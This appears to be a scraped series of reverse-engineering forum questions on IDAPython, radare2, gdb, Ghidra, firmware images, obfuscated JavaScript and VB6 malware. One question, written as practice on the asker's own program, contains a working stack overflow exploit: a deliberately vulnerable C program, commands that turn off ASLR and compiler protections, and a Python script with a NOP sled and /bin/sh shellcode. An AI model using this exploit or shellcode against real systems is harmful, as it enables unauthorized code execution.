i don't know if powershell or wmic will show it.  I know win7 32bit has debug(which might possible show it?  I know debug can show some registers, I have once used debug to move a value into the AX register), though i'm on win7 64bit and that doesn't have debug.

Perhaps somebody that knows a bit of assembly can show what assembler one needs to install and what lines to run, to display the bits of that register?


问:
Get and change function definition IDAPython
I was wondering if it is possible to retrieve the function definition at ea and eventually how to edit it. This feature should be in idaapi but unfortunately there's basically no documentation about that.


问:
How to debug programs that load from another one? with radare2/gdb
I'm reversing engendering a plugin. This plugin is loaded into memory by the main program.
I disassemble the plugin with radare2 but I don't know how to debug it.
I try with gdb but same problem.

I know is possible because I have done it in Hopper but I don't know to to do it with radare2 or gdb.

one of the obstacles is, I load the plugin with radare2 to disassembler it but I can't put any breakpoint because is not set it in debug mode. Also, I can't set the debug mode because the plugin can't start by it self. Maybe I need I command that will start my main program before the debug? is there anything like that in radare2? I was reading about rarun2 but I can't make it work for something like this

Any ideas?
Thanks


问:
Illegal instruction fault in stack based buffer overflow
I wrote this short C program to practice buffer overflow exploits:

```<code>#include <stdio.h>
#include <string.h>
#include <stddef.h>
#include <inttypes.h>

char *decode(char *s){
  for(int i = 0; i < strlen(s); i++){
    s[i] ^= 0x15;
  }
  return s;
}

void get_secret(int argc, char *argv[]){

  uint32_t eip_addr;
  char secret[] = "}aaef/::lz`a`;wp:qDb!b,BrMvD";
  char buffer[100];

  if(argc > 1){
    strcpy(buffer, argv[1]);
  }else{
    scanf("%s", buffer);
  }

  printf("You entered: %s\n\n", buffer);

  if(strcmp(buffer, secret) == 0){
    printf("Passwords match!\n");
    printf("Here is the secret message: %s\n", decode(secret));
  }else{
    printf("Get the f!@# out of here!\n");
    asm volatile("1: lea 1b, %0;": "=a"(eip_addr));
    printf("EIP address:  %" PRIx32 "; %" PRIu32 " bytes from main start\n",
       eip_addr,eip_addr - (uint32_t)get_secret);
  }
}
int main(int argc, char *argv[]){
  printf("Welcome to the simple verifier!\n");
  printf("Please enter your password: ");

  get_secret(argc, argv);

  return 0;
}
</code>```

I disable ASLR and compile it with NX, PIE, and CANARY disabled:

```<code>echo 0 > /proc/sys/kernel/randomize_va_space
gcc -m32 -g -no-pie -fno-stack-protector -z execstack overflow.c -o overflow
</code>```

Using r2, ragg2 and rarun2, I find where I can overwrite the return address of get_secret():

```<code>~$ ragg2 -P 200 -r > pattern.txt
~$ echo "#!/usr/bin/rarun2" > profile.rr2 && echo "stdin=./pattern.txt" >> profile.rr2
~$ r2 -r profile.rr2 -d overflow
[0xf7795a20]> dc
EIP address:  804930b; 257 bytes from main start
child stopped with signal 11
[+] SIGNAL 11 errno=0 addr=0x41784141 code=1 ret=0
[0x41784141]> wopO 0x41784141
145
[0x41784141]>
</code>```

So, now I know exactly how big my payload must be to get to the return address, 145 bytes. Now I find an address to point to on the stack using gdb:

```<code>~$ gdb overflow_exe -q
gdb-peda$ b 20
gdb-peda$ b 25
gdb-peda$ r $(python -c 'print "A"*145+"B"*4')
gdb-peda$ c
gdb-peda$ x/200x $esp
0xffffd100: 0x39    0x25    0xfe    0xf7    0x00    0x00    0x00    0x00
0xffffd108: 0x7d    0xc5    0xe5    0x41    0x41    0x41    0x41    0x41
0xffffd110: 0x41    0x41    0x41    0x41    0x41    0x41    0x41    0x41
0xffffd118: 0x41    0x41    0x41    0x41    0x41    0x41    0x41    0x41
0xffffd120: 0x41    0x41    0x41    0x41    0x41    0x41    0x41    0x41
0xffffd128: 0x41    0x41    0x41    0x41    0x41    0x41    0x41    0x41
0xffffd130: 0x41    0x41    0x41    0x41    0x41    0x41    0x41    0x41
0xffffd138: 0x41    0x41    0x41    0x41    0x41    0x41    0x41    0x41
0xffffd140: 0x41    0x41    0x41    0x41    0x41    0x41    0x41    0x41
0xffffd148: 0x41    0x41    0x41    0x41    0x41    0x41    0x41    0x41
0xffffd150: 0x41    0x41    0x41    0x41    0x41    0x41    0x41    0x41
0xffffd158: 0x41    0x41    0x41    0x41    0x41    0x41    0x41    0x41
0xffffd160: 0x41    0x41    0x41    0x41    0x41    0x41    0x41    0x41
0xffffd168: 0x41    0x41    0x41    0x41    0x41    0x41    0x41    0x41
0xffffd170: 0x41    0x41    0x41    0x41    0x41    0x41    0x41    0x41
0xffffd178: 0x41    0x41    0x41    0x41    0x41    0x41    0x41    0x41
0xffffd180: 0x41    0x41    0x41    0x41    0x41    0x41    0x41    0x41
0xffffd188: 0x41    0x41    0x41    0x41    0x41    0x41    0x41    0x41
0xffffd190: 0x41    0x41    0x41    0x41    0x41    0x41    0x41    0x41
0xffffd198: 0x41    0x41    0x41    0x41    0x42    0x42    0x42    0x42
0xffffd1a0: 0x00    0x00    0x00    0x00    0x74    0xd2    0xff    0xff
0xffffd1a8: 0x80    0x28    0xe2    0xf7    0x55    0x93    0x04    0x08
0xffffd1b0: 0x02    0x00    0x00    0x00    0x74    0xd2    0xff    0xff
0xffffd1b8: 0x80    0xd2    0xff    0xff    0xe0    0xd1    0xff    0xff
0xffffd1c0: 0x00    0x00    0x00    0x00    0x02    0x00    0x00    0x00
gdb-peda$
</code>```

I should be able to replace those \x41s with \x90s, append my shellcode to it, then some address on the stack on to the end of that, making my payload look something like this:

```<code>"\x90"*117 + </bin/sh shellcode> + <some address that's filled with \x90>
</code>```

Using this logic, I picked an address in the middle on the NOPs, 0xffffd150, and crafted the following python exploit:

```<code>#!/usr/bin/env python
import struct, os

#land in middle of NOPs
ret_addr = 0xffffd150

#shellcode -> 28 bytes
shell_code = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x89\xc1\x89\xc2\xb0\x0b\xcd\x80\x31\xc0\x40\xcd\x80"

#correct endianess
def conv(val):
    return struct.pack('<I', val)

# Build the exploit string
# 149 bytes to overwrite the ret addr total
# Need to take 28 bytes for the shellcode and 4 for the return addr
# 145 - 28 = 117
exp = "\x90"*117
exp += shell_code # at the ret addr (145 bytes) here
exp += conv(ret_addr)

print("Starting exploit")
os.system("./overflow_exe "+exp)
</code>```

But...I keep getting an Illegal instruction fault:

```<code>~$ ./overflow_exploit.py
Starting exploit
Welcome to the simple verifier!
Please enter your password: You entered: ���������������������������������������������������������������������������������������������������������������������1�Ph//shh/bin�����°
                 1�@̀P���

Get the f!@# out of here!
EIP address:  804930b; 257 bytes from main start
Illegal instruction
</code>```

Back in gdb I can see the NOP sled, shellcode, and return address, all where they should be:

```<code>gdb-peda$ x/200x $esp
0xffffd120: 0xf7fe2539  0x00000000  0x90e5c57d  0x90909090
0xffffd130: 0x90909090  0x90909090  0x90909090  0x90909090
0xffffd140: 0x90909090  0x90909090  0x90909090  0x90909090
0xffffd150: 0x90909090  0x90909090  0x90909090  0x90909090
0xffffd160: 0x90909090  0x90909090  0x90909090  0x90909090
0xffffd170: 0x90909090  0x90909090  0x90909090  0x90909090
0xffffd180: 0x90909090  0x90909090  0x90909090  0x90909090
0xffffd190: 0x90909090  0x90909090  0x90909090  0x90909090
0xffffd1a0: 0x6850c031  0x68732f2f  0x69622f68  0x89e3896e
0xffffd1b0: 0xb0c289c1  0x3180cd0b  0x80cd40c0  0xffffd150
</code>```

I'm at a loss.  I re-check the binary's security features, and NX is still disabled (which is the only reason I can think of to explain the shellcode eliciting an "Illegal instruction" fault):

```<code>gdb-peda$ checksec
CANARY    : disabled
FORTIFY   : disabled
NX        : disabled
PIE       : disabled
RELRO     : Partial
gdb-peda$
</code>```

Why is my exploit throwing an Illegal instruction fault when all security features are disabled, and my shellcode is in the correct position on the stack?

I'm on Debian 9


问:
How does Ida suspend threads?
I know that Ida uses ptrace function to attach and debug process.

How Ida can suspend thread? how is that possible?

Title: How does Ida suspend threads?


问:
Cannot rewrite the rip even after disabling all the security features
I was trying to exploit a simple buffer overflow on a self created binary.
i have disabled all the security features by compiling with the flags -
--fno-stack-protector -z execstack -no-pie.
my program just copied data through gets on a defined variable.
however when i try to overwrite the RIP and check the crash point, i get this -

what can i do to overwrite the rip?


问:
IDA Pro how debug constant function returning different results?
The code below is executed with the parameters (0, 4, 0) , the first 0 being an int pointer casted to an int, and these are the same every time.  After execution, a 3 digit number string is returned/assigned to result e.g. "817".  But this number string can change and be different values, but I don't understand how this could be the case if the parameters passed to the function are all constant?

```<code>unsigned int __fastcall sub_CD16FABC(unsigned int result, int a2, int a3)
{
  int v3; // r7
  signed int v4; // r3
  bool v5; // zf
  bool v6; // nf
  unsigned __int8 v7; // vf
  char v8; // r1
  int v9; // r2
  char v10; // r1
  char v11; // lr
  int v12; // r8
  int v13; // r1
  signed int v14; // r7
  int v15; // r3
  char v16; // [sp+2h] [bp-1Ah]
  char v17; // [sp+3h] [bp-19h]

  v3 = -a3 - (unsigned __int8)result;
  v4 = (((result >> 8) ^ 0xFFFF00) & (result >> 8)) + a3;
  v7 = __OFSUB__(a2, 3);
  v5 = a2 == 3;
  v6 = a2 - 3 < 0;
  v8 = 0;
  v9 = a3 + (unsigned __int8)__ROR4__(result, 16);
  if ( !((unsigned __int8)(v6 ^ v7) | v5) )
    v8 = 1;
  v17 = v8;
  v10 = result;
  if ( result )
    v10 = 1;
  v16 = v10;
  v11 = v4
      - 10
      * (((signed int)((unsigned __int64)(1717986919LL * v4) >> 32) >> 2)
       + ((((unsigned __int64)(1717986919LL * v4) >> 32) & 0x80000000) != 0LL))
      + 48;
  v12 = v9 % 10 + 48;
  v13 = -v3 % 10;
  v14 = -1319380658;
  while ( 1 )
  {
    v15 = v14 & 0x7FFFFFFF;
    if ( (v14 & 0x7FFFFFFF) == 695688137 )
      break;
    if ( v15 == 1516370106 )
    {
      *(_BYTE *)(result + 1) = v11;
      v14 = -1451795511;
      *(_BYTE *)result = v13 + 48;
      *(_BYTE *)(result + 2) = v12;
      *(_BYTE *)(result + 3) = 0;
    }
    else if ( v15 == 828102990 )
    {
      v14 = -1451795511;
      if ( v17 )
        v14 = -631113542;
      if ( !v16 )
        v14 = -1451795511;
    }
  }
  return result;
}
</code>```


问:
deobfuscating/decompiling extremely complicated javascript
I am working with some extremely complicated JavaScript. It is around 70,000 lines long and sections of the code look like this

```<code>U2xx.l11="0x78920d50";m2xx.r9G="11";b2xx.v3y="0x744ebc37";P2xx.K5h="0x4949db92";k4vv.k7Q=1099;k4vv.j6Q=255;C2xx.m6V=7035;f2xx.S7U="0x88f07878";v2xx.U0z="10991";h2xx.c0b="2665";U2xx.T11="0xd52da96f";I2xx.O2z="10410";v2xx.H2k="450";B2xx.L7n=0x88;E2xx.X4y="0xe8";j2xx.f4h="0xd36ebdd3";M2xx.o21="0x30fa5520";Z2xx.T4b="6325";F2xx.s4G="9036";G2xx.L2r=0xf46e5918;b2xx.X3y="0xe11ce5ed";h2xx.y0b="8843";Q2xx.H3Z=5152;b2xx.V7y="0xe89c636e";S2xx.v3b="6598";n2xx.E5y="0x00000000";K2xx.x90="0x7f456253";E2xx.J8y="0x88";i2xx.C70="0x30f3dcb2";Z2xx.X1b="6970";G2xx.z2r=0x171d121b;k2xx.e35=0x9c;Y2xx.s80="0x9d342e53";i2xx.j70="0x937c69d0";S2xx.a5b="3997";s2xx.l0t="5261";h2xx.C0b="3278";l2xx.a40="0x0f9357e7";
</code>```

I know the Javascript is used to generate cookies to authenticate post requests sent to a web server just I am struggling to figure out how with the extremely obfuscated variable names and values.

Are there any tools that will help me reverse the hex values and present variables in a nice way? I have tried several tools like jsbeautify, jsnice and also Malzilla but to no effect.

I have posted some more code below if this helps provide more context

```<code>U2xx.l11="0x78920d50";m2xx.r9G="11";b2xx.v3y="0x744ebc37";P2xx.K5h="0x4949db92";k4vv.k7Q=1099;k4vv.j6Q=255;C2xx.m6V=7035;f2xx.S7U="0x88f07878";v2xx.U0z="10991";h2xx.c0b="2665";U2xx.T11="0xd52da96f";I2xx.O2z="10410";v2xx.H2k="450";B2xx.L7n=0x88;E2xx.X4y="0xe8";j2xx.f4h="0xd36ebdd3";M2xx.o21="0x30fa5520";Z2xx.T4b="6325";F2xx.s4G="9036";G2xx.L2r=0xf46e5918;b2xx.X3y="0xe11ce5ed";h2xx.y0b="8843";Q2xx.H3Z=5152;b2xx.V7y="0xe89c636e";S2xx.v3b="6598";n2xx.E5y="0x00000000";K2xx.x90="0x7f456253";E2xx.J8y="0x88";i2xx.C70="0x30f3dcb2";Z2xx.X1b="6970";G2xx.z2r=0x171d121b;k2xx.e35=0x9c;Y2xx.s80="0x9d342e53";i2xx.j70="0x937c69d0";S2xx.a5b="3997";s2xx.l0t="5261";h2xx.C0b="3278";l2xx.a40="0x0f9357e7";T2xx.v8U="0xd46a6abe";k4vv.R1Q=12;h2xx.Z0b="1877";W2xx.v25="10592";C2xx.t5V=8003;u2xx.J8r=0x133c89eb;i2xx.n70=0xd1c1d938;r2xx.f6U="0x3ddfe2e2";T2xx.R8U="0x81cdcd4c";M2xx.x81="0x082b94f9";G2xx.r7h="0xf8f813eb";g2xx.P0n="8406";m2xx.B0G="10723";G2xx.i2r=0x6ee89c63;v2xx.y3z="1856";G2xx.G7h="0x8e8e8907";M2xx.C21="0xb670d532";W2xx.F1k="8942";M2xx.d30="0xb3de080c";n2xx.h9y="0x7dce3ab4";n2xx.T5y="0x9357e70f";u2xx.D8r="0x766df6ad";c2xx.n2h="0x23654623";I2xx.A3G="1518";j2xx.p4h="0x4ed29c4e";E2xx.h4y="0x49";Q2xx.K1Z=3071;s2xx.T9X="4247";F2xx.Y2G="5246";S2xx.A3b="2091";U2xx.C41="0x1170ac1e";m2xx.T0G="65";v2xx.M4z="4129";k2xx.l2y="0x09";j2xx.O1h="0x61a3c261";B2xx.O2U="0x95c7c752";b2xx.b7y="0x119448fa";E2xx.k4y="0x62";v2xx.J4z="10974";k4vv.c3Q=1694;s2xx.o1t="2765";O2xx.s51="0x25f5024c";I2xx.C3G="3017";K2xx.M60="0x4c25f502";a2xx.f01="0xd2df599c";b2xx.x3y="0xef15e8e6";n2xx.Z9y="0xc920ac66";c2xx.F3U="0xc6844242";a2xx.B01="0x61c935b7";Z2xx.S1b="4646";i2xx.u50="0x198557f1";Z2xx.J4b="1";h2xx.s6b="887";F2xx.d2G="3715";G2xx.d3h=0x7c420fe9;T2xx.x1U="0x49a9a9e0";i2xx.K50="0xe70f9357";B2xx.h7n="4503";v2xx.P7z="4362";i2xx.L50="0x7e345bfb";K2xx.v60="0xa75051f4";I2xx.Q3G="5828";M2xx.s30="0x733f55f2";j2xx.l4h="0x0b1d160b";Z2xx.G0W=10338;g2xx.K2n="0xbccf0821";U2xx.G41="0x01269ff7";a2xx.O91=0xbb6bae84;K2xx.b60="0x58abacfa";n2xx.l9y="0xab73d323";B2xx.E3n=0x22;r2xx.v9U="0xd4984c4c";h2xx.Q0b="3534";Y2xx.k40="0xac1e1170";S2xx.c5b="5949";W2xx.L95="3660";E2xx.D2y=0x4c;r2xx.h6U="0x6a4c2626";u2xx.g8r="0xe67eaaff";S2xx.j5b="9122";B2xx.k2U="0x7e3f3f41";function m2xx(){}c2xx.l3U="0x7c84f87c";Q2xx.Z2V=5246;k4vv.T7Q=1190;P2xx.l5h=0x0a0a1e14;m2xx.c1G="3109";u2xx.W6r="4658";v2xx.D0z="72";M2xx.p21="0xe14fb6be";l2xx.C00="0x312a3f23";r2xx.C0U="0xaa5555ff";m2xx.K6G="8327";m2xx.h6G="631";F2xx.c2G="222";f2xx.z5U="0xe049a9a9";P2xx.r6h="0x1b1b2d36";j2xx.N4h="0xf407f3f4";v2xx.q7z="611";T2xx.X8U="0x70383848";o2xx.Z0y="0x54";function P2xx(){}F2xx.T4G="8772";K2xx.d60="0x3182e51a";c2xx.Y3U="0x63a5c663";r2xx.Z0U="0x50282878";u2xx.B3r="2074";I2xx.E2z="530";i2xx.B50="0xba0ae293";m2xx.j0G="4681";Z2xx.b1b="9055";j2xx.Q0h="0x42c68442";g2xx.b31=0xf75e2e39;C2xx.x7V=8122;c2xx.P8h="0xbcdf63bc";U2xx.K41="0x774b695a";B2xx.P7n=0x9f;M2xx.I21="0x275e963a";b2xx.l3y="0x764dd68d";U2xx.I11="0x494ec787";i2xx.p50="0x29768b43";S2xx.G7b="6532";g2xx.p2n="0x105633e9";E2xx.E4y=0x91;s2xx.r7X="2845";G2xx.H7h="0xe9e920c9";m2xx.O0G="3596";P2xx.b9h="0x3c3c4478";I2xx.X8z="2270";F2xx.a4G="7264";B2xx.W3n="0x45";r2xx.V0U=0xc98e4747;c2xx.j2h="0x2c74582c";k2xx.M35="0x30";C2xx.a2W=8918;U2xx.H11="0xffe67eaa";f2xx.E9U=0x6bbbd0d0;G2xx.c2r="0x640a0fd9";C2xx.T3V=8596;U2xx.F41=0xaed51e3d;m2xx.T6G="6469";Z2xx.G4b="562";r2xx.w9U="0x2cc1eded";O2xx.E51=0xaa4060ef;k4vv.n9Q=450;M2xx.W21="0x9d45f11f";u2xx.R7r="6825";O2xx.l51="0x3d96dd06";Q2xx.j8V=5834;o2xx.D1y="0x16";E2xx.r4y=0xea;g2xx.b8n="0xe9642247";c2xx.B3U="0x01030201";B2xx.h2U="0xe4727296";O2xx.H71="0x8af93e21";F2xx.S4G="9702";c2xx.m8h="0xd06bbbd0";B2xx.V5n="2734";v2xx.d7z="64";h2xx.e6b="1692";G2xx.N3h="0xc8ac993b";Z2xx.u1b="45";k2xx.Q2y="0x31";l2xx.s00="0x35b761c9";Y2xx.T20="0xd7c52acb";v2xx.v2k="2451";Z2xx.K1b="6832";n2xx.H9y="0x342e539d";k2xx.z35="0xcc";k2xx.D35="0x93";i2xx.h30="0xd81533a7";s2xx.z1t="2015";n2xx.u5y=0xe293ba0a;m2xx.X6G="8553";I2xx.k8z="9814";i2xx.F30=0xdaf741ec;P2xx.A9h="0x0c0c1418";j2xx.p8h="0x13352613";f2xx.M7U=0x90e07070;P2xx.S6h="0x31315362";b2xx.T3y="0x018c355d";l2xx.O10="0x26dab78e";a2xx.Z01="0x91f62f17";c2xx.G3U="0xca458fca";O2xx.u51="0x33e91056";G2xx.X7h="0x5555ffaa";O2xx.G51="0x7d854a24";S2xx.I3b="9418";P2xx.D0h="0xc0c05b9b";j2xx.b0h="0xf2f20dff";g2xx.t9n="871";M2xx.r21="0x4697a38d";K2xx.n90="0xc2032fb5";G2xx.U3h=0x51f4a750;v2xx.V7z="2912";E2xx.v8y="0x40";function C2xx(){}h2xx.Y6b="5232";O2xx.L91="0xe7038f5f";r2xx.h9U="0xbed46a6a";c2xx.h3U="0xda65bfbf";M2xx.V21="0x20ac66c9";s2xx.P9X="6648";C2xx.z5V=8088;G2xx.i7h="0x35355f6a";i2xx.f70="0xaff582c3";Z2xx.U1b="427";r2xx.d6U="0x68b9d1d1";l2xx.k00="0x0e7fcd50";f2xx.f9U="0xf3a25151";B2xx.q5n="1597";f2xx.Y7U="0xdd964b4b";m2xx.l1G="6966";I2xx.a5G="567";i2xx.I50="0x724e6c5a";k4vv.y1Q=9;O2xx.h51="0x5051f4a7";j2xx.n4h="0x143c2814";k4vv.Q7Q=1023;E2xx.K4y="0x37";M2xx.h81="0x7bf8b752";s2xx.A8t="6894";C2xx.V3V=8703;b2xx.x7y="0xb8e4f163";G2xx.Y2r=0xaedd3e05;m2xx.p0G="1921";r2xx.w6U="0x96e47272";Q2xx.h7Z=4582;u2xx.C6r="2576";c2xx.X3U="0xf00bfbf0";k4vv.o3Q=1541;F2xx.u8G="5712";K2xx.w50="0x5b38e719";s2xx.w8t=4294967296;v2xx.j1z="240";l2xx.m10="0xec0d8652";m2xx.e0G="8090";Y2xx.p80="0x51bd6e10";k2xx.N35=0x3f;W2xx.l0k="9685";C2xx.I9V=7436;T2xx.I4U="0x7a3d3d47";b2xx.O3y="0xc12c1fb8";o2xx.D0y=0x62;k4vv.m8Z=2268;c2xx.G2h="0x1b2d361b";a2xx.p01="0xe2250cbc";h2xx.b0b="8660";k2xx.n2y="0x27";a2xx.l61="0x73c737bf";s2xx.v44=function (){return typeof s2xx.M44.w2P==='function'?s2xx.M44.w2P.apply(s2xx.M44,arguments):s2xx.M44.w2P;};k4vv.h6Q=127;U2xx.w11=0xc1e3d077;P2xx.E9h="0x02020604";o2xx.P0y="0x67";m2xx.W0G="4616";U2xx.d81="0x420fe97c";T2xx.M8U="0xedfbfb16";K2xx.u90="0xec390b83";b2xx.C20="0xbce2250c";l2xx.I10=0xd077c1e3;l2xx.g00="0x2efb0b41";G2xx.C7h="0xe8e823cb";s2xx.g2t="3114";I2xx.H7G="4476";G2xx.p5h="0xeaea25cf";l2xx.x00="0xd629b07c";m2xx.T9G="6";K2xx.m90=0x6c8794de;m2xx.Q6G="8583";Z2xx.n0W=10221;M2xx.d21=0x6bae84bb;v2xx.j7z="6674";W2xx.Q9k="1798";b2xx.n3y=0x41ecdaf7;h2xx.W0b="6090";G2xx.I3h="0x90d8b8e8";a2xx.D61="0x1b9b919e";W2xx.C4k="5913";I2xx.P5G="10957";s2xx.l0g=function(){var E0g;return{v0g:function(){return E0g=!E0g;},m0g:function(){return Math&&typeof Math.random==='function'&&Math.random();}};}
</code>```


问:
use ida python to add a remark when calling a function using register
I want to add a remark for all non direct function calls.
e.g. say i have

```<code>mov EAX [functionEP]
call EAX
</code>```

Assuming i have many such calls to various functions, I would like to run the debugger and every time there are calls to such function add a remark which states the real call address/function name so that it will be:

```<code>mov EAX [functionEP]
call EAX ; functionName
</code>```

Is this possible?


问:
Debugging Ghidra Script
I want to write a new script for ghidra to extract variuous information from the binary and store it to an external file for future management. I need to perform the analyisis with Ghidra Headless in order to put it in an analysis workflow with other tool. I can't found any guide/tutorial on how to correctly use eclpise to launch ghidra headless and run the current developing script. I had already installed the ghidraDev extension and it can correctly run Ghidra Gui</p>

Title: Debugging Ghidra Script


问:
How to choose a .NET software protector which will have a small impact on run-time performance speed?
I am writing a .NET software which is doing calculations and drawing in real-time i.e when the user is moving the mouse. I want to protect this software from being reverse engineered and restrict its execution to only a specific computer based on Hardware ID. What .NET software protector would be a good choice for this scenario ? I came after Themida and VMProtector which I found to be promising. What is your opinion about the security options that these software offer with respect to the impact they have on the executable's run-time performance? Do you know any other available tool suitable for the case I am describing ?</p>


问:
How to programmatically add HTML DOM breakpoints in chromium?
I've seen from this post about Chromium DevTools that there exists the possibility to add DOM breakpoints. Given that I've a full range of elements to monitor I was trying to find a way to programmatically add such breakpoints.

To achieve a similar result I've used to instrument the setAttribute() function of such DOM elements replacing it with a wrapper that uses the debugger; instruction to trigger the debugger. Anyway this approach fails when dealing with innerHTML or innerText assignments given that there is no way of achieving operator overloading in js.

Can someone suggest me a practical solution?


问:
IDA remote debugging - non printable characters in parameters
I am trying to remote debug a certain binary which gets user-specified command line arguments, which can be non-printable of course.

My goal is the ability to debug with IDA the process with the command line argument "\x11\x22\x33\x44" which can be done with gdb easily.

The problem is that the "Parameters" field in IDA allows only ASCII characters to be inserted into the process' command line arguments

I looked thoroughly and found these questions but running:

```<code>$ ./linux_server unlink < file
</code>```

or any other combination does not seem to feed the binary file with my input.

Also, running StartDebugger in the IDA command line did not help (How does this function know which remote debugger to run?)


问:
Help reverse engineering a small (60kb) .exe file used for extracting .tga images from a custom container
The executable grabs the specified container format and extracts .tga images from it. It was community-made to satisfy a certain niche, unfortunately I cannot get into contact with the original creator/programmer and I have no way to re-compile the .tga images to the original container. Basically I want to reverse the procedure.

I'm not overly familiar with SE, if this post is considered low-effort or anything, please let me know and I will edit accordingly.

Edit:

Google Drive: https://drive.google.com/drive/folders/1_mdCW5w3GS7fXgSuISOlUDumLXeKJ9TE?usp=sharing

In the provided link the included files are
1) the extractor
2) one of the .mda containers
3) a .bat file that is used to make the extractor run. Will be edited later on to batch extract all the containers.


问:
Handling firmware with many copies of the same code/data in different address spaces
When loading the firmware I am working with, it copies multiple regions of code/data to another write-able memory region.

I normal load the code/data into the destination location and leave the source empty. But have just noticed the firmware calls some of the functions in the original/source region.

So I could leave all of the source data/code and load the duplicate data/code regions, but what I am wanting to avoid is duplicated reverse engineer the functions.

So what I ideally want is someway to alias/memory map the regions so there is only "one" version of the memory, thus one labeled data and RE functions.


问:
Help investigating a printer firmware image
We're having issues with the WiFi connectivity on the printers that we're using on a current project. The printer connects fine, but the ports that should be opened are not opened. They work fine on the wired network.
Their support has tried to help, but so far hasn't been able to provide a solution.
I suspect that the printers run an embedded linux, and I wouldn't mind having a look at the configuration files to see if there's anything in there that's obviously broken.
I've downloaded the firmware from https://printers.averydennison.com/en/home/resources/service-and-support/utilities-and-firmware/9419-printer.html , but binwalk doesn't seem to find anything useful. I don't see any magic bytes or anything that would hint as to the structure of the file, and while there are recognisable strings (including the beginnings of some of the web pages from the config interface), they seem to get truncated in odd places, and with FF inserted at seemingly random intervals between characters.

My thought was that it may be a disk image that could be mounted, but I would have thought that binwalk would have identified that.

While I'd appreciate the answer to how to examine this firmware, I'd also like to fill in some of the gaps that I'm missing in my process, so any hints on what I should be looking for would be greatly appreciated.


问:
Simplify two 32 bit expressions into one 64 bit expression in decompilation
I am getting started with Ghidra, and am decompiling a simple program of mine. The platform is Linux (ELF) on ARM. I found in the decompiled code things like:

```<code>gTime._0_4_ = (undefined4)(time1 >> 0x20);
gTime._4_4_ = (undefined4)time1;
</code>```

Here, gTime is a global and time1 a local. Both should be 64 bit integers (uint64_t). I've alreads set the types accordingly. This code is setting the high bits of gTime to the high bits of time1 and the same for the low bits. Is there any way I could transform this to:

```<code>gTime = time1
</code>```

Or is there e.g. an endianness issue here? At some places, it also has the similarly redundant:

```<code>uVar1 = CONCAT44(gTime, gTime._4_4)
</code>```

I was expecting to be able to select the code and "refactor" it to an equivalent form. The only thing that I could find was the "retype" function, with works great, but not here. Any ideas how to clean up this code a bit?


问:
(Help)Apk Decomplied unreadable files
I'm developing an android-based game for my school project.
I chose an .apk to reference the visual parts.
I've decompiled the .apk file I've specified. I can't view the image files I need.
files available but unreadable.I couldn't get a data hand using the existing .atlas editor.I will very happy if you help,I can send the apk file and images.

I have .json .atlas .png but just .atlas and png unreadable ( i tried with .atlas editor it doesnt work)

Sample :

Title: (Help)Apk Decomplied unreadable files


问:
Can't install sasquatch tool
Ubuntu 16.04 LTS. I'm trying to install sasquatch tool (which should apply patches to the standard unsquashfs utility), but got the issue, every time build process show error in one place:

```<code>./build.sh: 35: ./build.sh: cannot open ../patches/patch0.txt: No such file
</code>```

Here is build log. Please advice about this issue.

Title: Can't install sasquatch tool


问:
How can I extract resource images from Visual Basic 6 Malware
I am reverse engineering some malware that is written in VB6. I found this tool which tried to decompile the .exe, but I noticed that the image that is being loaded by the .exe is suspicious and I want to extract it for further analysis.

Someone mentioned resource extractor would work, but that only pulls the ICON from the file, not the image below.

Is there a technique or tool that will extract this image?

Here is some somewhat related topics that have brought me thus far.

How to disassemble VBX files?


问:
Output address path during .exe execution
I have an obfuscated software. I'm a beginner in this area, so I don't find where a patch would be useful for what I want to do.

It turns out that I have an idea of how I could find out in which addresses I need to search: the software behaves differently if I add some lines in its config files.

So, I'd like to output a text file which contains all the addresses the RIP was set to.

Then I'll be able to diff the files and have an idea of when the execution flow diverged...

However, in order to do that I need to use Windows and not Linux because this software doesn't work well with Wine.

How could I do, to create such a script, on Windows?


问:
idapython - Scan all possible code paths between start and end addresses
I have a start and end address inside a function segment. How can I step through all the possible code paths easily, including jumps, function calls, etc that occur between the start and the end point?

I am trying to find a particular condition that I know occurs somewhere deep in the function segment. (I know how to do this part)